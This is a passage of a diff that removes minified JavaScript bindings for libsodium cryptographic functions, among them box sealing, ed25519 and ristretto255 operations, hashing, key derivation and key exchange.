privateKey length"), E3 = p2(A4), o3.push(E3); - var v3 = new f2(c3 - r5._crypto_box_macbytes() | 0), _3 = v3.address; - if (o3.push(_3), !(0 | r5._crypto_box_open_easy(_3, s3, c3, 0, h3, d3, E3))) { - var Q3 = g2(v3, i3); - return I2(o3), Q3; - } - y2(o3, "incorrect key pair for the given ciphertext"); - } - function kt2(t3, e4, n4, A4) { - var i3 = []; - l2(A4); - var o3 = p2(t3 = B2(i3, t3, "ciphertext")), s3 = t3.length; - i3.push(o3), e4 = B2(i3, e4, "nonce"); - var a3, c3 = 0 | r5._crypto_box_noncebytes(); - e4.length !== c3 && C2(i3, "invalid nonce length"), a3 = p2(e4), i3.push(a3), n4 = B2(i3, n4, "sharedKey"); - var h3, u3 = 0 | r5._crypto_box_beforenmbytes(); - n4.length !== u3 && C2(i3, "invalid sharedKey length"), h3 = p2(n4), i3.push(h3); - var d3 = new f2(s3 - r5._crypto_box_macbytes() | 0), m3 = d3.address; - if (i3.push(m3), !(0 | r5._crypto_box_open_easy_afternm(m3, o3, s3, 0, a3, h3))) { - var E3 = g2(d3, A4); - return I2(i3), E3; - } - y2(i3, "incorrect secret key for the given ciphertext"); - } - function Dt2(t3, e4, n4) { - var A4 = []; - l2(n4); - var i3 = p2(t3 = B2(A4, t3, "message")), o3 = t3.length; - A4.push(i3), e4 = B2(A4, e4, "publicKey"); - var s3, a3 = 0 | r5._crypto_box_publickeybytes(); - e4.length !== a3 && C2(A4, "invalid publicKey length"), s3 = p2(e4), A4.push(s3); - var c3 = new f2(o3 + r5._crypto_box_sealbytes() | 0), h3 = c3.address; - if (A4.push(h3), !(0 | r5._crypto_box_seal(h3, i3, o3, 0, s3))) { - var u3 = g2(c3, n4); - return I2(A4), u3; - } - y2(A4, "invalid usage"); - } - function St2(t3, e4, n4, A4) { - var i3 = []; - l2(A4), t3 = B2(i3, t3, "ciphertext"); - var o3, s3 = r5._crypto_box_sealbytes(), a3 = t3.length; - a3 < s3 && C2(i3, "ciphertext is too short"), o3 = p2(t3), i3.push(o3), e4 = B2(i3, e4, "publicKey"); - var c3, h3 = 0 | r5._crypto_box_publickeybytes(); - e4.length !== h3 && C2(i3, "invalid publicKey length"), c3 = p2(e4), i3.push(c3), n4 = B2(i3, n4, "privateKey"); - var u3, d3 = 0 | r5._crypto_box_secretkeybytes(); - n4.length !== d3 && C2(i3, "invalid privateKey length"), u3 = p2(n4), i3.push(u3); - var m3 = new f2(a3 - r5._crypto_box_sealbytes() | 0), E3 = m3.address; - if (i3.push(E3), !(0 | r5._crypto_box_seal_open(E3, o3, a3, 0, c3, u3))) { - var w3 = g2(m3, A4); - return I2(i3), w3; - } - y2(i3, "incorrect key pair for the given ciphertext"); - } - function Nt2(t3, e4) { - var n4 = []; - l2(e4), t3 = B2(n4, t3, "seed"); - var A4, i3 = 0 | r5._crypto_box_seedbytes(); - t3.length !== i3 && C2(n4, "invalid seed length"), A4 = p2(t3), n4.push(A4); - var o3 = new f2(0 | r5._crypto_box_publickeybytes()), s3 = o3.address; - n4.push(s3); - var a3 = new f2(0 | r5._crypto_box_secretkeybytes()), c3 = a3.address; - if (n4.push(c3), !(0 | r5._crypto_box_seed_keypair(s3, c3, A4))) { - var h3 = { publicKey: g2(o3, e4), privateKey: g2(a3, e4), keyType: "x25519" }; - return I2(n4), h3; - } - y2(n4, "invalid usage"); - } - function Mt2(t3, e4, n4) { - var A4 = []; - l2(n4), t3 = B2(A4, t3, "p"); - var i3, o3 = 0 | r5._crypto_core_ed25519_bytes(); - t3.length !== o3 && C2(A4, "invalid p length"), i3 = p2(t3), A4.push(i3), e4 = B2(A4, e4, "q"); - var s3, a3 = 0 | r5._crypto_core_ed25519_bytes(); - e4.length !== a3 && C2(A4, "invalid q length"), s3 = p2(e4), A4.push(s3); - var c3 = new f2(0 | r5._crypto_core_ed25519_bytes()), h3 = c3.address; - if (A4.push(h3), !(0 | r5._crypto_core_ed25519_add(h3, i3, s3))) { - var u3 = g2(c3, n4); - return I2(A4), u3; - } - y2(A4, "input is an invalid element"); - } - function xt2(t3, e4) { - var n4 = []; - l2(e4); - var A4 = p2(t3 = B2(n4, t3, "r")); - t3.length, n4.push(A4); - var i3 = new f2(0 | r5._crypto_core_ed25519_bytes()), o3 = i3.address; - if (n4.push(o3), !(0 | r5._crypto_core_ed25519_from_hash(o3, A4))) { - var s3 = g2(i3, e4); - return I2(n4), s3; - } - y2(n4, "invalid usage"); - } - function Ft2(t3, e4) { - var n4 = []; - l2(e4); - var A4 = p2(t3 = B2(n4, t3, "r")); - t3.length, n4.push(A4); - var i3 = new f2(0 | r5._crypto_core_ed25519_bytes()), o3 = i3.address; - if (n4.push(o3), !(0 | r5._crypto_core_ed25519_from_uniform(o3, A4))) { - var s3 = g2(i3, e4); - return I2(n4), s3; - } - y2(n4, "invalid usage"); - } - function Pt2(t3, e4) { - var n4 = []; - l2(e4), t3 = B2(n4, t3, "repr"); - var A4, i3 = 0 | r5._crypto_core_ed25519_bytes(); - t3.length !== i3 && C2(n4, "invalid repr length"), A4 = p2(t3), n4.push(A4); - var o3 = 1 == (0 | r5._crypto_core_ed25519_is_valid_point(A4)); - return I2(n4), o3; - } - function Tt2(t3) { - var e4 = []; - l2(t3); - var n4 = new f2(0 | r5._crypto_core_ed25519_bytes()), A4 = n4.address; - e4.push(A4), r5._crypto_core_ed25519_random(A4); - var i3 = g2(n4, t3); - return I2(e4), i3; - } - function Rt2(t3, e4, n4) { - var A4 = []; - l2(n4), t3 = B2(A4, t3, "x"); - var i3, o3 = 0 | r5._crypto_core_ed25519_scalarbytes(); - t3.length !== o3 && C2(A4, "invalid x length"), i3 = p2(t3), A4.push(i3), e4 = B2(A4, e4, "y"); - var s3, a3 = 0 | r5._crypto_core_ed25519_scalarbytes(); - e4.length !== a3 && C2(A4, "invalid y length"), s3 = p2(e4), A4.push(s3); - var c3 = new f2(0 | r5._crypto_core_ed25519_scalarbytes()), h3 = c3.address; - A4.push(h3), r5._crypto_core_ed25519_scalar_add(h3, i3, s3); - var u3 = g2(c3, n4); - return I2(A4), u3; - } - function Ut2(t3, e4) { - var n4 = []; - l2(e4), t3 = B2(n4, t3, "s"); - var A4, i3 = 0 | r5._crypto_core_ed25519_scalarbytes(); - t3.length !== i3 && C2(n4, "invalid s length"), A4 = p2(t3), n4.push(A4); - var o3 = new f2(0 | r5._crypto_core_ed25519_scalarbytes()), s3 = o3.address; - n4.push(s3), r5._crypto_core_ed25519_scalar_complement(s3, A4); - var a3 = g2(o3, e4); - return I2(n4), a3; - } - function Gt2(t3, e4) { - var n4 = []; - l2(e4), t3 = B2(n4, t3, "s"); - var A4, i3 = 0 | r5._crypto_core_ed25519_scalarbytes(); - t3.length !== i3 && C2(n4, "invalid s length"), A4 = p2(t3), n4.push(A4); - var o3 = new f2(0 | r5._crypto_core_ed25519_scalarbytes()), s3 = o3.address; - if (n4.push(s3), !(0 | r5._crypto_core_ed25519_scalar_invert(s3, A4))) { - var a3 = g2(o3, e4); - return I2(n4), a3; - } - y2(n4, "invalid reciprocate"); - } - function Ht2(t3, e4, n4) { - var A4 = []; - l2(n4), t3 = B2(A4, t3, "x"); - var i3, o3 = 0 | r5._crypto_core_ed25519_scalarbytes(); - t3.length !== o3 && C2(A4, "invalid x length"), i3 = p2(t3), A4.push(i3), e4 = B2(A4, e4, "y"); - var s3, a3 = 0 | r5._crypto_core_ed25519_scalarbytes(); - e4.length !== a3 && C2(A4, "invalid y length"), s3 = p2(e4), A4.push(s3); - var c3 = new f2(0 | r5._crypto_core_ed25519_scalarbytes()), h3 = c3.address; - A4.push(h3), r5._crypto_core_ed25519_scalar_mul(h3, i3, s3); - var u3 = g2(c3, n4); - return I2(A4), u3; - } - function Lt2(t3, e4) { - var n4 = []; - l2(e4), t3 = B2(n4, t3, "s"); - var A4, i3 = 0 | r5._crypto_core_ed25519_scalarbytes(); - t3.length !== i3 && C2(n4, "invalid s length"), A4 = p2(t3), n4.push(A4); - var o3 = new f2(0 | r5._crypto_core_ed25519_scalarbytes()), s3 = o3.address; - n4.push(s3), r5._crypto_core_ed25519_scalar_negate(s3, A4); - var a3 = g2(o3, e4); - return I2(n4), a3; - } - function Ot2(t3) { - var e4 = []; - l2(t3); - var n4 = new f2(0 | r5._crypto_core_ed25519_scalarbytes()), A4 = n4.address; - e4.push(A4), r5._crypto_core_ed25519_scalar_random(A4); - var i3 = g2(n4, t3); - return I2(e4), i3; - } - function Yt2(t3, e4) { - var n4 = []; - l2(e4), t3 = B2(n4, t3, "sample"); - var A4, i3 = 0 | r5._crypto_core_ed25519_nonreducedscalarbytes(); - t3.length !== i3 && C2(n4, "invalid sample length"), A4 = p2(t3), n4.push(A4); - var o3 = new f2(0 | r5._crypto_core_ed25519_scalarbytes()), s3 = o3.address; - n4.push(s3), r5._crypto_core_ed25519_scalar_reduce(s3, A4); - var a3 = g2(o3, e4); - return I2(n4), a3; - } - function Kt2(t3, e4, n4) { - var A4 = []; - l2(n4), t3 = B2(A4, t3, "x"); - var i3, o3 = 0 | r5._crypto_core_ed25519_scalarbytes(); - t3.length !== o3 && C2(A4, "invalid x length"), i3 = p2(t3), A4.push(i3), e4 = B2(A4, e4, "y"); - var s3, a3 = 0 | r5._crypto_core_ed25519_scalarbytes(); - e4.length !== a3 && C2(A4, "invalid y length"), s3 = p2(e4), A4.push(s3); - var c3 = new f2(0 | r5._crypto_core_ed25519_scalarbytes()), h3 = c3.address; - A4.push(h3), r5._crypto_core_ed25519_scalar_sub(h3, i3, s3); - var u3 = g2(c3, n4); - return I2(A4), u3; - } - function Jt2(t3, e4, n4) { - var A4 = []; - l2(n4), t3 = B2(A4, t3, "p"); - var i3, o3 = 0 | r5._crypto_core_ed25519_bytes(); - t3.length !== o3 && C2(A4, "invalid p length"), i3 = p2(t3), A4.push(i3), e4 = B2(A4, e4, "q"); - var s3, a3 = 0 | r5._crypto_core_ed25519_bytes(); - e4.length !== a3 && C2(A4, "invalid q length"), s3 = p2(e4), A4.push(s3); - var c3 = new f2(0 | r5._crypto_core_ed25519_bytes()), h3 = c3.address; - if (A4.push(h3), !(0 | r5._crypto_core_ed25519_sub(h3, i3, s3))) { - var u3 = g2(c3, n4); - return I2(A4), u3; - } - y2(A4, "input is an invalid element"); - } - function jt2(t3, e4, n4, A4) { - var i3 = []; - l2(A4), t3 = B2(i3, t3, "input"); - var o3, s3 = 0 | r5._crypto_core_hchacha20_inputbytes(); - t3.length !== s3 && C2(i3, "invalid input length"), o3 = p2(t3), i3.push(o3), e4 = B2(i3, e4, "privateKey"); - var a3, c3 = 0 | r5._crypto_core_hchacha20_keybytes(); - e4.length !== c3 && C2(i3, "invalid privateKey length"), a3 = p2(e4), i3.push(a3); - var h3 = null; - null != n4 && (h3 = p2(n4 = B2(i3, n4, "constant")), n4.length, i3.push(h3)); - var u3 = new f2(0 | r5._crypto_core_hchacha20_outputbytes()), d3 = u3.address; - if (i3.push(d3), !(0 | r5._crypto_core_hchacha20(d3, o3, a3, h3))) { - var m3 = g2(u3, A4); - return I2(i3), m3; - } - y2(i3, "invalid usage"); - } - function zt2(t3, e4, n4, A4) { - var i3 = []; - l2(A4), t3 = B2(i3, t3, "input"); - var o3, s3 = 0 | r5._crypto_core_hsalsa20_inputbytes(); - t3.length !== s3 && C2(i3, "invalid input length"), o3 = p2(t3), i3.push(o3), e4 = B2(i3, e4, "privateKey"); - var a3, c3 = 0 | r5._crypto_core_hsalsa20_keybytes(); - e4.length !== c3 && C2(i3, "invalid privateKey length"), a3 = p2(e4), i3.push(a3); - var h3 = null; - null != n4 && (h3 = p2(n4 = B2(i3, n4, "constant")), n4.length, i3.push(h3)); - var u3 = new f2(0 | r5._crypto_core_hsalsa20_outputbytes()), d3 = u3.address; - if (i3.push(d3), !(0 | r5._crypto_core_hsalsa20(d3, o3, a3, h3))) { - var m3 = g2(u3, A4); - return I2(i3), m3; - } - y2(i3, "invalid usage"); - } - function qt2(t3, e4, n4) { - var A4 = []; - l2(n4), t3 = B2(A4, t3, "p"); - var i3, o3 = 0 | r5._crypto_core_ristretto255_bytes(); - t3.length !== o3 && C2(A4, "invalid p length"), i3 = p2(t3), A4.push(i3), e4 = B2(A4, e4, "q"); - var s3, a3 = 0 | r5._crypto_core_ristretto255_bytes(); - e4.length !== a3 && C2(A4, "invalid q length"), s3 = p2(e4), A4.push(s3); - var c3 = new f2(0 | r5._crypto_core_ristretto255_bytes()), h3 = c3.address; - if (A4.push(h3), !(0 | r5._crypto_core_ristretto255_add(h3, i3, s3))) { - var u3 = g2(c3, n4); - return I2(A4), u3; - } - y2(A4, "input is an invalid element"); - } - function Xt2(t3, e4) { - var n4 = []; - l2(e4); - var A4 = p2(t3 = B2(n4, t3, "r")); - t3.length, n4.push(A4); - var i3 = new f2(0 | r5._crypto_core_ristretto255_bytes()), o3 = i3.address; - if (n4.push(o3), !(0 | r5._crypto_core_ristretto255_from_hash(o3, A4))) { - var s3 = g2(i3, e4); - return I2(n4), s3; - } - y2(n4, "invalid usage"); - } - function Vt2(t3, e4) { - var n4 = []; - l2(e4), t3 = B2(n4, t3, "repr"); - var A4, i3 = 0 | r5._crypto_core_ristretto255_bytes(); - t3.length !== i3 && C2(n4, "invalid repr length"), A4 = p2(t3), n4.push(A4); - var o3 = 1 == (0 | r5._crypto_core_ristretto255_is_valid_point(A4)); - return I2(n4), o3; - } - function Wt2(t3) { - var e4 = []; - l2(t3); - var n4 = new f2(0 | r5._crypto_core_ristretto255_bytes()), A4 = n4.address; - e4.push(A4), r5._crypto_core_ristretto255_random(A4); - var i3 = g2(n4, t3); - return I2(e4), i3; - } - function Zt2(t3, e4, n4) { - var A4 = []; - l2(n4), t3 = B2(A4, t3, "x"); - var i3, o3 = 0 | r5._crypto_core_ristretto255_scalarbytes(); - t3.length !== o3 && C2(A4, "invalid x length"), i3 = p2(t3), A4.push(i3), e4 = B2(A4, e4, "y"); - var s3, a3 = 0 | r5._crypto_core_ristretto255_scalarbytes(); - e4.length !== a3 && C2(A4, "invalid y length"), s3 = p2(e4), A4.push(s3); - var c3 = new f2(0 | r5._crypto_core_ristretto255_scalarbytes()), h3 = c3.address; - A4.push(h3), r5._crypto_core_ristretto255_scalar_add(h3, i3, s3); - var u3 = g2(c3, n4); - return I2(A4), u3; - } - function $t2(t3, e4) { - var n4 = []; - l2(e4), t3 = B2(n4, t3, "s"); - var A4, i3 = 0 | r5._crypto_core_ristretto255_scalarbytes(); - t3.length !== i3 && C2(n4, "invalid s length"), A4 = p2(t3), n4.push(A4); - var o3 = new f2(0 | r5._crypto_core_ristretto255_scalarbytes()), s3 = o3.address; - n4.push(s3), r5._crypto_core_ristretto255_scalar_complement(s3, A4); - var a3 = g2(o3, e4); - return I2(n4), a3; - } - function te2(t3, e4) { - var n4 = []; - l2(e4), t3 = B2(n4, t3, "s"); - var A4, i3 = 0 | r5._crypto_core_ristretto255_scalarbytes(); - t3.length !== i3 && C2(n4, "invalid s length"), A4 = p2(t3), n4.push(A4); - var o3 = new f2(0 | r5._crypto_core_ristretto255_scalarbytes()), s3 = o3.address; - if (n4.push(s3), !(0 | r5._crypto_core_ristretto255_scalar_invert(s3, A4))) { - var a3 = g2(o3, e4); - return I2(n4), a3; - } - y2(n4, "invalid reciprocate"); - } - function ee2(t3, e4, n4) { - var A4 = []; - l2(n4), t3 = B2(A4, t3, "x"); - var i3, o3 = 0 | r5._crypto_core_ristretto255_scalarbytes(); - t3.length !== o3 && C2(A4, "invalid x length"), i3 = p2(t3), A4.push(i3), e4 = B2(A4, e4, "y"); - var s3, a3 = 0 | r5._crypto_core_ristretto255_scalarbytes(); - e4.length !== a3 && C2(A4, "invalid y length"), s3 = p2(e4), A4.push(s3); - var c3 = new f2(0 | r5._crypto_core_ristretto255_scalarbytes()), h3 = c3.address; - A4.push(h3), r5._crypto_core_ristretto255_scalar_mul(h3, i3, s3); - var u3 = g2(c3, n4); - return I2(A4), u3; - } - function re2(t3, e4) { - var n4 = []; - l2(e4), t3 = B2(n4, t3, "s"); - var A4, i3 = 0 | r5._crypto_core_ristretto255_scalarbytes(); - t3.length !== i3 && C2(n4, "invalid s length"), A4 = p2(t3), n4.push(A4); - var o3 = new f2(0 | r5._crypto_core_ristretto255_scalarbytes()), s3 = o3.address; - n4.push(s3), r5._crypto_core_ristretto255_scalar_negate(s3, A4); - var a3 = g2(o3, e4); - return I2(n4), a3; - } - function ne2(t3) { - var e4 = []; - l2(t3); - var n4 = new f2(0 | r5._crypto_core_ristretto255_scalarbytes()), A4 = n4.address; - e4.push(A4), r5._crypto_core_ristretto255_scalar_random(A4); - var i3 = g2(n4, t3); - return I2(e4), i3; - } - function Ae2(t3, e4) { - var n4 = []; - l2(e4), t3 = B2(n4, t3, "sample"); - var A4, i3 = 0 | r5._crypto_core_ristretto255_nonreducedscalarbytes(); - t3.length !== i3 && C2(n4, "invalid sample length"), A4 = p2(t3), n4.push(A4); - var o3 = new f2(0 | r5._crypto_core_ristretto255_scalarbytes()), s3 = o3.address; - n4.push(s3), r5._crypto_core_ristretto255_scalar_reduce(s3, A4); - var a3 = g2(o3, e4); - return I2(n4), a3; - } - function ie2(t3, e4, n4) { - var A4 = []; - l2(n4), t3 = B2(A4, t3, "x"); - var i3, o3 = 0 | r5._crypto_core_ristretto255_scalarbytes(); - t3.length !== o3 && C2(A4, "invalid x length"), i3 = p2(t3), A4.push(i3), e4 = B2(A4, e4, "y"); - var s3, a3 = 0 | r5._crypto_core_ristretto255_scalarbytes(); - e4.length !== a3 && C2(A4, "invalid y length"), s3 = p2(e4), A4.push(s3); - var c3 = new f2(0 | r5._crypto_core_ristretto255_scalarbytes()), h3 = c3.address; - A4.push(h3), r5._crypto_core_ristretto255_scalar_sub(h3, i3, s3); - var u3 = g2(c3, n4); - return I2(A4), u3; - } - function oe2(t3, e4, n4) { - var A4 = []; - l2(n4), t3 = B2(A4, t3, "p"); - var i3, o3 = 0 | r5._crypto_core_ristretto255_bytes(); - t3.length !== o3 && C2(A4, "invalid p length"), i3 = p2(t3), A4.push(i3), e4 = B2(A4, e4, "q"); - var s3, a3 = 0 | r5._crypto_core_ristretto255_bytes(); - e4.length !== a3 && C2(A4, "invalid q length"), s3 = p2(e4), A4.push(s3); - var c3 = new f2(0 | r5._crypto_core_ristretto255_bytes()), h3 = c3.address; - if (A4.push(h3), !(0 | r5._crypto_core_ristretto255_sub(h3, i3, s3))) { - var u3 = g2(c3, n4); - return I2(A4), u3; - } - y2(A4, "input is an invalid element"); - } - function se2(t3, e4, n4, A4) { - var i3 = []; - l2(A4), m2(i3, t3, "hash_length"), ("number" != typeof t3 || (0 | t3) !== t3 || t3 < 0) && C2(i3, "hash_length must be an unsigned integer"); - var o3 = p2(e4 = B2(i3, e4, "message")), s3 = e4.length; - i3.push(o3); - var a3 = null, c3 = 0; - null != n4 && (a3 = p2(n4 = B2(i3, n4, "key")), c3 = n4.length, i3.push(a3)); - var h3 = new f2(t3 |= 0), u3 = h3.address; - if (i3.push(u3), !(0 | r5._crypto_generichash(u3, t3, o3, s3, 0, a3, c3))) { - var d3 = g2(h3, A4); - return I2(i3), d3; - } - y2(i3, "invalid usage"); - } - function ae2(t3, e4, n4, A4, i3) { - var o3 = []; - l2(i3), m2(o3, t3, "subkey_len"), ("number" != typeof t3 || (0 | t3) !== t3 || t3 < 0) && C2(o3, "subkey_len must be an unsigned integer"); - var s3 = null, a3 = 0; - null != e4 && (s3 = p2(e4 = B2(o3, e4, "key")), a3 = e4.length, o3.push(s3)); - var c3 = null, h3 = 0; - null != n4 && (n4 = B2(o3, n4, "id"), h3 = 0 | r5._crypto_generichash_blake2b_saltbytes(), n4.length !== h3 && C2(o3, "invalid id length"), c3 = p2(n4), o3.push(c3)); - var u3 = null, d3 = 0; - null != A4 && (A4 = B2(o3, A4, "ctx"), d3 = 0 | r5._crypto_generichash_blake2b_personalbytes(), A4.length !== d3 && C2(o3, "invalid ctx length"), u3 = p2(A4), o3.push(u3)); - var E3 = new f2(0 | t3), w3 = E3.address; - if (o3.push(w3), !(0 | r5._crypto_generichash_blake2b_salt_personal(w3, t3, null, 0, 0, s3, a3, c3, u3))) { - var v3 = g2(E3, i3); - return I2(o3), v3; - } - y2(o3, "invalid usage"); - } - function ce2(t3, e4, n4) { - var A4 = []; - l2(n4), m2(A4, t3, "state_address"), m2(A4, e4, "hash_length"), ("number" != typeof e4 || (0 | e4) !== e4 || e4 < 0) && C2(A4, "hash_length must be an unsigned integer"); - var i3 = new f2(e4 |= 0), o3 = i3.address; - if (A4.push(o3), !(0 | r5._crypto_generichash_final(t3, o3, e4))) { - var s3 = (r5._free(t3), g2(i3, n4)); - return I2(A4), s3; - } - y2(A4, "invalid usage"); - } - function he2(t3, e4, n4) { - var A4 = []; - l2(n4); - var i3 = null, o3 = 0; - null != t3 && (i3 = p2(t3 = B2(A4, t3, "key")), o3 = t3.length, A4.push(i3)), m2(A4, e4, "hash_length"), ("number" != typeof e4 || (0 | e4) !== e4 || e4 < 0) && C2(A4, "hash_length must be an unsigned integer"); - var s3 = new f2(357).address; - if (!(0 | r5._crypto_generichash_init(s3, i3, o3, e4))) { - var a3 = s3; - return I2(A4), a3; - } - y2(A4, "invalid usage"); - } - function ge2(t3) { - var e4 = []; - l2(t3); - var n4 = new f2(0 | r5._crypto_generichash_keybytes()), A4 = n4.address; - e4.push(A4), r5._crypto_generichash_keygen(A4); - var i3 = g2(n4, t3); - return I2(e4), i3; - } - function ue2(t3, e4, n4) { - var A4 = []; - l2(n4), m2(A4, t3, "state_address"); - var i3 = p2(e4 = B2(A4, e4, "message_chunk")), o3 = e4.length; - A4.push(i3), !!(0 | r5._crypto_generichash_update(t3, i3, o3)) && y2(A4, "invalid usage"), I2(A4); - } - function le2(t3, e4) { - var n4 = []; - l2(e4); - var A4 = p2(t3 = B2(n4, t3, "message")), i3 = t3.length; - n4.push(A4); - var o3 = new f2(0 | r5._crypto_hash_bytes()), s3 = o3.address; - if (n4.push(s3), !(0 | r5._crypto_hash(s3, A4, i3, 0))) { - var a3 = g2(o3, e4); - return I2(n4), a3; - } - y2(n4, "invalid usage"); - } - function fe2(t3, e4) { - var n4 = []; - l2(e4); - var A4 = p2(t3 = B2(n4, t3, "message")), i3 = t3.length; - n4.push(A4); - var o3 = new f2(0 | r5._crypto_hash_sha256_bytes()), s3 = o3.address; - if (n4.push(s3), !(0 | r5._crypto_hash_sha256(s3, A4, i3, 0))) { - var a3 = g2(o3, e4); - return I2(n4), a3; - } - y2(n4, "invalid usage"); - } - function pe2(t3, e4) { - var n4 = []; - l2(e4), m2(n4, t3, "state_address"); - var A4 = new f2(0 | r5._crypto_hash_sha256_bytes()), i3 = A4.address; - if (n4.push(i3), !(0 | r5._crypto_hash_sha256_final(t3, i3))) { - var o3 = (r5._free(t3), g2(A4, e4)); - return I2(n4), o3; - } - y2(n4, "invalid usage"); - } - function de2(t3) { - var e4 = []; - l2(t3); - var n4 = new f2(104).address; - if (!(0 | r5._crypto_hash_sha256_init(n4))) { - var A4 = n4; - return I2(e4), A4; - } - y2(e4, "invalid usage"); - } - function Ie2(t3, e4, n4) { - var A4 = []; - l2(n4), m2(A4, t3, "state_address"); - var i3 = p2(e4 = B2(A4, e4, "message_chunk")), o3 = e4.length; - A4.push(i3), !!(0 | r5._crypto_hash_sha256_update(t3, i3, o3)) && y2(A4, "invalid usage"), I2(A4); - } - function ye2(t3, e4) { - var n4 = []; - l2(e4); - var A4 = p2(t3 = B2(n4, t3, "message")), i3 = t3.length; - n4.push(A4); - var o3 = new f2(0 | r5._crypto_hash_sha512_bytes()), s3 = o3.address; - if (n4.push(s3), !(0 | r5._crypto_hash_sha512(s3, A4, i3, 0))) { - var a3 = g2(o3, e4); - return I2(n4), a3; - } - y2(n4, "invalid usage"); - } - function Ce2(t3, e4) { - var n4 = []; - l2(e4), m2(n4, t3, "state_address"); - var A4 = new f2(0 | r5._crypto_hash_sha512_bytes()), i3 = A4.address; - if (n4.push(i3), !(0 | r5._crypto_hash_sha512_final(t3, i3))) { - var o3 = (r5._free(t3), g2(A4, e4)); - return I2(n4), o3; - } - y2(n4, "invalid usage"); - } - function me2(t3) { - var e4 = []; - l2(t3); - var n4 = new f2(208).address; - if (!(0 | r5._crypto_hash_sha512_init(n4))) { - var A4 = n4; - return I2(e4), A4; - } - y2(e4, "invalid usage"); - } - function Be2(t3, e4, n4) { - var A4 = []; - l2(n4), m2(A4, t3, "state_address"); - var i3 = p2(e4 = B2(A4, e4, "message_chunk")), o3 = e4.length; - A4.push(i3), !!(0 | r5._crypto_hash_sha512_update(t3, i3, o3)) && y2(A4, "invalid usage"), I2(A4); - } - function Ee2(t3, e4, n4, A4, o3) { - var s3 = []; - l2(o3), m2(s3, t3, "subkey_len"), ("number" != typeof t3 || (0 | t3) !== t3 || t3 < 0) && C2(s3, "subkey_len must be an unsigned integer"), m2(s3, e4, "subkey_id"), ("number" != typeof e4 || (0 | e4) !== e4 || e4 < 0) && C2(s3, "subkey_id must be an unsigned integer"), "string" != typeof n4 && C2(s3, "ctx must be a string"), n4 = i2(n4 + "\0"), null != c3 && n4.length - 1 !== c3 && C2(s3, "invalid ctx length"); - var a3 = p2(n4), c3 = n4.length - 1; - s3.push(a3), A4 = B2(s3, A4, "key"); - var h3, u3 = 0 | r5._crypto_kdf_keybytes(); - A4.length !== u3 && C2(s3, "invalid key length"), h3 = p2(A4), s3.push(h3); - var d3 = new f2(0 | t3), y3 = d3.address; - s3.push(y3), r5._crypto_kdf_derive_from_key(y3, t3, e4, e4 >>> 24 >>> 8, a3, h3); - var E3 = g2(d3, o3); - return I2(s3), E3; - } - function we2(t3) { - var e4 = []; - l2(t3); - var n4 = new f2(0 | r5._crypto_kdf_keybytes()), A4 = n4.address; - e4.push(A4), r5._crypto_kdf_keygen(A4); - var i3 = g2(n4, t3); - return I2(e4), i3; - } - function ve2(t3, e4, n4, A4) { - var i3 = []; - l2(A4), t3 = B2(i3, t3, "clientPublicKey"); - var o3, s3 = 0 | r5._crypto_kx_publickeybytes(); - t3.length !== s3 && C2(i3, "invalid clientPublicKey length"), o3 = p2(t3), i3.push(o3), e4 = B2(i3, e4, "clientSecretKey"); - var a3, c3 = 0 | r5._crypto_kx_secretkeybytes(); - e4.length !== c3 && C2(i3, "invalid clientSecretKey length"), a3 = p2(e4), i3.push(a3), n4 = B2(i3, n4, "serverPublicKey"); - var h3, u3 = 0 | r5._crypto_kx_publickeybytes(); - n4.length !== u3 && C2(i3, "invalid serverPublicKey length"), h3 = p2(n4), i3.push(h3); - var d3 = new f2(0 | r5._crypto_kx_sessionkeybytes()), m3 = d3.address; - i3.push(m3); - var E3 = new f2(0 | r5._crypto_kx_sessionkeybytes()), w3 = E3.address; - if (i3.push(w3), !(0 | r5._crypto_kx_client_session_keys(m3, w3, o3, a3, h3))) { - var v3 = g2({ sharedRx: d3, sharedTx: E3 }, A4); - return I2(i3), v3; - } - y2(i3, "invalid usage"); - } - function _e2(t3) { - var e4 = []; - l2(t3); - var n4 = new f2(0 | r5._crypto_kx_publickeybytes()), A4 = n4.address; - e4.push(A4); - var i3 = new f2(0 | r5._crypto_kx_secretkeybytes()), o3 = i3.address; - if (e4.push(o3), !(0 | r5._crypto_kx_keypair(A4, o3))) { - var s3 = { publicKey: g2(n4, t3), privateKey: g2(i3, t3), keyType: "x25519" }; - return I2(e4), s3; - } - y2(e4, "internal error"); - } - function Qe2(t3, e4) { - var n4 = []; - l2(e4), t3 = B2(n4, t3, "seed"); - var A4, i3 = 0 | r5._crypto_kx_seedbytes(); - t3.length !== i3 && C2(n4, "invalid seed length"), A4 = p2(t3), n4.push(A4); - var o3 = new f2(0 | r5._crypto_kx_publickeybytes()), s3 = o3.address; - n4.push(s3); - var a3 = new f2(0 | r5._crypto_kx_secretkeybytes()), c3 = a3.address; - if (n4.push(c3), !(0 | r5._crypto_kx_seed_keypair(s3, c3, A4))) { - var h3 = { publicKey: g2(o3, e4), privateKey: g2(a3, e4), keyType: "x25519" }; - return I2(n4), h3; - } - y2(n4, "internal error"); - } - function be2(t3, e4, n4, A4) { - var i3 = []; - l2(A4), t3 = B2(i3, t3, "serverPublicKey"); - var o3, s3 = 0 | r5._crypto_kx_publickeybytes(); - t3.length !== s3 && C2(i3, "invalid serverPublicKey length"), o3 = p2(t3), i3.push(o3), e4 = B2(i3, e4, "serverSecretKey"); - var a3, c3 = 0 | r5._crypto_kx_secretkeybytes(); - e4.length !== c3 && C2(i3, "invalid serverSecretKey length"), a3 = p2(e4), i3.push(a3), n4 = B2(i3, n4, "clientPublicKey"); - var h3, u3 = 0 | r5._crypto_kx_publickeybytes(); - n4.length !== u3 && C2(i3, "invalid clientPublicKey length"), h3 = p2(n4), i3.push(h3); - var d3 = new f2(0 | r5._crypto_kx_sessionkeybytes()), m3 = d3.address; - i3.push(m3); - var E3 = new f2(0 | r5._crypto_kx_sessionkeybytes()), w3 = E3.address; - if (i3.push(w3), !(0 | r5._crypto_kx_server_session_keys(m3, w3, o3, a3, h3))) { - var v3 = g2({ sharedRx: d3, sharedTx: E3 }, A4); - return I2(i3), v3; - } - y2(i3, "invalid usage"); - } - function ke2(t3, e4, n4) { - var A4 = []; - l2(n4); - var i3 = p2(t3 = B2(A4, t3, "message")), o3 = t3.length; - A4.push(i3), e4 = B2(A4, e4, "key"); - var s3, a3 = 0 | r5._crypto_onetimeauth_keybytes(); - e4.length !== a3 && C2(A4, "invalid key length"), s3 = p2(e4), A4.push(s3); - var c3 = new f2(0 | r5._crypto_onetimeauth_bytes()), h3 = c3.address; - if (A4.push(h3), !(0 | r5._crypto_onetimeauth(h3, i3, o3, 0, s3))) { - var u3 = g2(c3, n4); - return I2(A4), u3; - } - 